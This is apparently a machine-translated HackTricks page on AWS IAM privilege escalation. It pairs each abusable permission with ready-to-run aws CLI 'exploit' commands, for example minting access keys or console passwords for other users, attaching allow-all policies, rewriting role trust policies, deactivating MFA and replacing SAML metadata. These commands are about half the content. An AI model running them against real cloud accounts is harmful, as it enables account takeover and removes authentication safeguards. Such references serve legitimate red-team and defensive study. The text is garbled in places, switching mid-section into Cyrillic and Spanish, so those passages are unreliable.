AWS - IAM Privesc

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

IAM

Za više informacija o IAM pogledajte:

AWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

Omogućava kreiranje nove verzije IAM policy-ja, zaobilazeći potrebu za permisijom iam:SetDefaultPolicyVersion korišćenjem --set-as-default flag-a. Ovo omogućava definisanje prilagođenih dozvola.

Exploit Command:

aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Uticaj: Direktno eskalira privilegije dozvoljavajući bilo koju akciju nad bilo kojim resursom.

iam:SetDefaultPolicyVersion

Omogućava promenu podrazumevane verzije IAM politike na neku drugu postojeću verziju, što može dovesti do eskalacije privilegija ako nova verzija ima više dozvola.

Bash Command:

aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Uticaj: Indirektno privilege escalation omogućavanjem dodatnih dozvola.

iam:CreateAccessKey

Omogućava kreiranje access key ID i secret access key za drugog korisnika, što može dovesti do potencijalnog privilege escalation.

Exploit:

aws iam create-access-key --user-name <target_user>

Uticaj: Direktna eskalacija privilegija preuzimanjem proširenih dozvola drugog korisnika.

iam:CreateLoginProfile | iam:UpdateLoginProfile

Dozvoljava kreiranje ili ažuriranje profila za prijavu, uključujući postavljanje lozinki za AWS console login, što dovodi do direktne eskalacije privilegija.

Exploit for Creation:

aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Exploit za Update:

aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Uticaj: Direktno povećanje privilegija (privilege escalation) prijavom kao “any” korisnik.

iam:UpdateAccessKey

Omogućava ponovno omogućavanje onemogućenog access key-a, što može dovesti do neovlašćenog pristupa ako attacker poseduje onemogućeni access key.

Exploit:

aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

Uticaj: Direktna eskalacija privilegija ponovnim reaktiviranjem access keys.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

Omogućava generisanje ili resetovanje kredencijala za specifične AWS servise (npr. CodeCommit, Amazon Keyspaces), pri čemu nasleđuju dozvole povezane sa odgovarajućim korisnikom.

Exploit for Creation:

aws iam create-service-specific-credential --user-name <username> --service-name <service>

Exploit za Reset:

aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

Uticaj: Direktna eskalacija privilegija unutar servisnih dozvola korisnika.

iam:AttachUserPolicy || iam:AttachGroupPolicy

Omogućava pridruživanje politika korisnicima ili grupama, direktno eskalirajući privilegije nasleđivanjem dozvola iz priložene politike.

Exploit for User:

aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Exploit za grupu:

aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

Uticaj: Direktna eskalacija privilegija do svega što policy dodeljuje.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

Dozvoljava pridruživanje ili postavljanje policies na roles, users ili groups, što omogućava direktnu eskalaciju privilegija dodeljivanjem dodatnih permissions.

Exploit for Role:

aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Exploit za Inline Policies:

aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

Možete koristiti politiku kao:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

Uticaj: Direktna eskalacija privilegija dodavanjem dozvola putem politika.

iam:AddUserToGroup

Omogućava dodavanje sebe u IAM grupu, eskalirajući privilegije nasleđivanjem dozvola te grupe.

Exploit:

aws iam add-user-to-group --group-name <group_name> --user-name <username>

Uticaj: Direktna eskalacija privilegija do nivoa dozvola grupe.

iam:UpdateAssumeRolePolicy

Dozvoljava izmenu assume role policy dokumenta uloge, omogućavajući preuzimanje te uloge i njenih povezanih dozvola.

Exploit:

aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

Gde politika izgleda kao u nastavku i daje korisniku dozvolu da preuzme ulogu:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Uticaj: Direktan privilege escalation preuzimanjem dozvola bilo koje role.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

Omogućava otpremanje SSH javnog ključa za autentifikaciju na CodeCommit i deaktiviranje MFA uređaja, što može dovesti do potencijalnog indirektnog privilege escalation.

Exploit for SSH Key Upload:

aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Exploit za deaktivaciju MFA:

aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

Uticaj: Indirektna eskalacija privilegija omogućavanjem pristupa CodeCommit ili onemogućavanjem MFA zaštite.

iam:ResyncMFADevice

Omogućava ponovnu sinhronizaciju MFA uređaja, što može dovesti do indirektne eskalacije privilegija manipulacijom MFA zaštitom.

Bash Command:

aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Uticaj: Indirektno eskaliranje privilegija dodavanjem ili manipulisanjem MFA uređajima.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

Sa ovim dozvolama možete izmeniti XML metapodatke SAML konekcije. Zatim, možete zloupotrebiti SAML federation da se login sa bilo kojom ulogom koja mu veruje.

Imajte na umu da u tom slučaju legitimni korisnici neće moći da se login. Međutim, možete pribaviti XML, zameniti ga svojim, login i vratiti prethodnu konfiguraciju.

# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

Note

TODO: Alat sposoban da generiše SAML metapodatke i prijavi se sa određenom ulogom

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(Nisam siguran u vezi ovoga) Ako napadač ima ove permissions, mogao bi dodati novi Thumbprint i na taj način se prijaviti u sve uloge koje veruju provajderu.

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

iam:PutUserPermissionsBoundary

Ovo dopuštenje omogućava napadaču да ажурира permissions boundary корисника, потенцијално ескалирајући његове привилегије тако што ће му омогућити извршавање радњи које су иначе ограничене његовим постојећим дозволама.

aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>

Un ejemplo de una política que no aplica ninguna restricción es:


{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}

iam:PutRolePermissionsBoundary

Entitet koji ima iam:PutRolePermissionsBoundary može postaviti ograničenje dozvola na postojeću ulogu. Rizik nastaje kada osoba sa ovom dozvolom promeni ograničenje uloge: može nepravilno ograničiti operacije (uzrokujući prekid usluge) ili, ako priloži permisivno ograničenje, efikasno proširiti šta uloga može da radi i eskalirati privilegije.

aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy

Izvori

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks